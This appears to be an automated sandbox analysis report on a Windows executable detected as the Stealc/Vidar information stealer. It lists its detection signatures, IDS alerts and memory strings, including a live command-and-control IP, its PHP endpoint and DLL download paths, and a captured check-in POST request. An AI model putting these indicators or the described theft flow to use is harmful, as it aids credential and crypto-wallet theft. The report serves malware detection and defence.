Edit tour

Windows Analysis Report
4c469e2cf403fea6249e835ddce23de2.exe

Overview

General Information

Sample name:	4c469e2cf403fea6249e835ddce23de2.exe
Analysis ID:	1523165
MD5:	3988d57be5af6fb461fec4bbd0f747f3
SHA1:	c4ea1473edc170309eb4f0d3b8f753e390ac1553
SHA256:	869deec09d4b035c500fb282df367e622f3e75e39fef3f6cd674fb1d1dca7b09
Tags:	exeStealcuser-abuse_ch
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

4c469e2cf403fea6249e835ddce23de2.exe (PID: 6900 cmdline: "C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe" MD5: 3988D57BE5AF6FB461FEC4BBD0F747F3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1940177043.0000000003D18000.00000040.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1939639884.0000000001D51000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 4c469e2cf403fea6249e835ddce23de2.exe PID: 6900	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: 4c469e2cf403fea6249e835ddce23de2.exe PID: 6900	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 4c469e2cf403fea6249e835ddce23de2.exe PID: 6900	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 4c469e2cf403fea6249e835ddce23de2.exe PID: 6900	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T07:51:09.829208+0200	2044245	1	Malware Command and Control Activity Detected	45.200.148.113	80	192.168.2.4	49732	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T07:51:09.812711+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49732	45.200.148.113	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T07:51:10.003241+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49732	45.200.148.113	80	TCP

ET MALWARE Win32/Stealc Submitting Screenshot to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T07:51:19.998502+0200	2044249	1	Malware Command and Control Activity Detected	192.168.2.4	49732	45.200.148.113	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T07:51:10.509201+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49732	45.200.148.113	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T07:51:10.010594+0200	2044247	1	Malware Command and Control Activity Detected	45.200.148.113	80	192.168.2.4	49732	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T07:51:09.634483+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49732	45.200.148.113	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-01T07:51:11.043803+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:14.356641+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:15.194900+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:15.905017+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:16.448635+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:18.082787+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	45.200.148.113	80	TCP
2024-10-01T07:51:18.458611+0200	2803304	3	Unknown Traffic	192.168.2.4	49732	45.200.148.113	80	TCP

HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDBAKEHDHDGCAKKJJEHost: 45.200.148.113Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 42 39 34 39 41 30 39 45 34 31 32 32 30 34 30 34 30 39 34 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 41 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="hwid"DB949A09E4122040409402------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="build"A1------GHJDBAKEHDHDGCAKKJJE--

Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D51000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003EE4000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003EE4000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.php
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.php)
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.php-
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.php1
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.php=
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.phpBGCFIEHCFIDGCAAFB
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.phpE
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.phpO
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.phpa
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.phpdll
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.phpem
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.phpm
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.phpnomi
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.phpp
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.phpq
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.phpser
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003EE4000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.phption:
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/0a616124ff2f2b69.phpus.wallet
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/2a5dc88bed850cdd/freebl3.dll
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/2a5dc88bed850cdd/mozglue.dll
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/2a5dc88bed850cdd/msvcp140.dll
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/2a5dc88bed850cdd/nss3.dll
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/2a5dc88bed850cdd/nss3.dll(
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/2a5dc88bed850cdd/nss3.dll4
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/2a5dc88bed850cdd/softokn3.dll
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/2a5dc88bed850cdd/softokn3.dllB
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/2a5dc88bed850cdd/softokn3.dllb
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/2a5dc88bed850cdd/sqlite3.dll
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/2a5dc88bed850cdd/vcruntime140.dll
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/2a5dc88bed850cdd/vcruntime140.dll1
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/2a5dc88bed850cdd/vcruntime140.dll8bed850cdd/nss3.dll
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/7
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/X
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113/fmw
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003EE4000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.200.148.113DHJJ
Source: 4c469e2cf403fea6249e835ddce23de2.exe, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: 4c469e2cf403fea6249e835ddce23de2.exe, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0J
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: 4c469e2cf403fea6249e835ddce23de2.exe, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://ocsp.digicert.com0H
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://ocsp.digicert.com0I
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://ocsp.digicert.com0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 4c469e2cf403fea6249e835ddce23de2.exe, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1962494191.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1953000945.000000001C7DD000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1961950084.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://www.usb-over-network.com
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://www.usb-over-network.com/usb-over-network-purchase.html?rf=usbnetclient&ver=6.0.6
Source: 4c469e2cf403fea6249e835ddce23de2.exe	String found in binary or memory: http://www.usb-over-network.com?rf=usbnetclient&ver=6.0.6usbclienthelp.chmhttp://www.usb-over-networ
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecop
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecopnacl
Source: FHDAFIID.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1958323593.0000000028862000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, BAEBGCFIEHCFIDGCAAFB.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1958323593.0000000028862000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, BAEBGCFIEHCFIDGCAAFB.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: FHDAFIID.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, FHDAFIID.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, FHDAFIID.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1958323593.0000000028862000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, BAEBGCFIEHCFIDGCAAFB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1958323593.0000000028862000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, BAEBGCFIEHCFIDGCAAFB.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
